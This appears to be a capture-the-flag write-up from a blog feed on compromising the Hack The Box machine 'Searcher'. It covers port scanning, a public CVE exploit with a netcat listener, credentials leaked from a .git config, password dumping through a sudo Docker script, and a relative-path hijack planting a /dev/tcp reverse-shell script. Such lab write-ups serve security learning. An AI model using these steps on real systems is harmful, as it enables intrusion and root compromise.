            <content:encoded><![CDATA[<h3>1. Reconnaissance</h3><h3>Full port scan</h3><pre>nmap -p- --min-rate 5000 10.129.228.217</pre><p><strong>Result:</strong></p><ul><li>Port 22/tcp — open — SSH</li><li>Port 80/tcp — open — HTTP</li></ul><h3>Service/version scan</h3><pre>nmap -A -p 22,80 10.129.228.217</pre><p><strong>Result:</strong></p><ul><li>22/tcp → OpenSSH 8.9p1 (Ubuntu)</li><li>80/tcp → Apache 2.4.52, Werkzeug/2.1.2, Python/3.10.6</li><li>Page title: <strong>“Searcher”</strong></li></ul><h3>Host setup</h3><ul><li>Added searcher.htb → 10.129.228.217 to /etc/hosts</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*6b_OF8gBCN1nMCe_xMemuA.png" /></figure><ul><li>Browsed to http://searcher.htb → found app version <strong>2.4.0</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dvrGysuB4SsYgmHFGD1V-w.png" /></figure><h3>2. Initial Foothold</h3><h3>Vulnerability identified</h3><ul><li>App version 2.4.0 → <strong>CVE-2023–43364</strong></li><li>Found public exploit on GitHub</li></ul><h3>Exploitation</h3><pre># Listener<br>nc -nvlp 9001</pre><pre># Exploit<br>./exploit.sh &lt;TARGET&gt; &lt;ATTACKER_IP&gt; &lt;PORT=9001&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D-7XqgMXWfMlWjCjkh-CNA.png" /></figure><p>✅ Got reverse shell as svc<br>✅ Captured user flag: /home/svc/user.txt</p><h3>3. Enumeration for Privilege Escalation</h3><h3>Found exposed Git config</h3><ul><li>Path: /var/www/app/.git</li><li>Inside, discovered a Gitea credential leak:</li></ul><pre>&lt;http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git&gt;</pre><ul><li>Added gitea.searcher.htb to /etc/hosts</li><li>Logged into Gitea with: cody : jh1usoih2bkjaspwe92</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NR5P1OnIlcUpG4fqdvXTFA.png" /></figure><h3>Repo analysis</h3><ul><li>Found app.py source code in the repo</li><li>Found an admin account: administrator@gitea.searcher.htb (password unknown at this point)</li></ul><h3>Shell upgrade</h3><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>stty raw -echo; fg<br>export TERM=xterm</pre><h3>Sudo rights check</h3><pre>sudo -l</pre><p>Using cody&#39;s password, found:</p><pre>(root) /usr/bin/python3 /opt/scripts/system-checkup.py *</pre><h3>4. Abusing system-checkup.py</h3><h3>Available subcommands</h3><pre>sudo /usr/bin/python3 /opt/scripts/system-checkup.py</pre><ul><li>docker-ps — list running containers</li><li>docker-inspect — inspect a container</li><li>full-checkup — run full system checkup</li></ul><p>⚠️ Note: running the script <strong>without</strong> the full path (sudo /opt/scripts/system-checkup.py ...) was denied by sudoers — had to call it as:</p><pre>sudo /usr/bin/python3 /opt/scripts/system-checkup.py &lt;subcommand&gt;</pre><h3>docker-ps</h3><pre>sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps</pre><p><strong>Result:</strong> two containers running:</p><p>Container Image Ports gitea gitea/gitea:latest 127.0.0.1:3000→3000, 127.0.0.1:222→22 mysql_db mysql:8 127.0.0.1:3306→3306</p><h3>docker-inspect</h3><pre>sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect<br># Usage: docker-inspect &lt;format&gt; &lt;container_name&gt;</pre><p>Referenced Docker formatting docs: <a href="https://docs.docker.com/engine/cli/formatting/">https://docs.docker.com/engine/cli/formatting/</a></p><p>Dumped full JSON config of the mysql container:</p><pre>sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect &#39;{{json .Config}}&#39; f84a6b33fb5a<br>sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect &#39;{{json .}}&#39; f84a6b33fb5a</pre><p><strong>Credentials recovered:</strong></p><ul><li>Root password: jI86kGUuj87guWr3RyF</li><li>MySQL / Gitea admin password: yuiu1hoiu4i5ho1uh</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvurmyGUbFwt20zDVWjXeQ.png" /></figure><h3>full checkup</h3><pre>sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup<br># → &quot;Something went wrong&quot;</pre><h3>5. Gitea Admin Access</h3><ul><li>Logged into Gitea as admin using password: yuiu1hoiu4i5ho1uh</li><li>Found 4 files in the admin repo</li><li>Reviewing system-checkup.py source revealed:</li><li>The full-checkup option executes a script named <strong>full-checkup.sh</strong> from the <strong>current working directory</strong></li><li>→ Since the script doesn’t use an absolute path, we can plant our own full-checkup.sh in the working directory before running full-checkup as root</li></ul><h3>Planned exploitation path (root shell)</h3><ul><li>Create a local full-checkup.sh containing a reverse shell or /bin/bash payload</li><li>Run sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup from the same directory</li><li>The root-owned script executes our planted file → root shell</li></ul><p><strong>Reverse shell payload (in progress):</strong></p><pre>echo -ne &#39;#!/bin/bash\n/bin/bash -i &gt;&amp; /dev/tcp/10.10.15.247/8888 0&gt;&amp;1&#39; &gt; full-checkup.sh<br>chmod +x full-checkup.sh</pre><h3>6. Flags</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*5BI5Na-qPIexAgw6zQVR6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*q5j5xGbYsH8NPwROaxhrAg.png" /></figure><h3>Key Takeaways</h3><ul><li>Old CVEs on exposed web app versions are still a fast win for initial foothold.</li><li>Exposed .git directories frequently leak live credentials.</li><li>Sudoers entries allowing wildcard scripts (script.py *) are worth enumerating subcommand-by-subcommand.</li><li>Scripts that call other scripts/binaries via <strong>relative path</strong> are a classic privilege-escalation vector — plant a malicious file in the CWD to hijack execution.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de46c234082a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>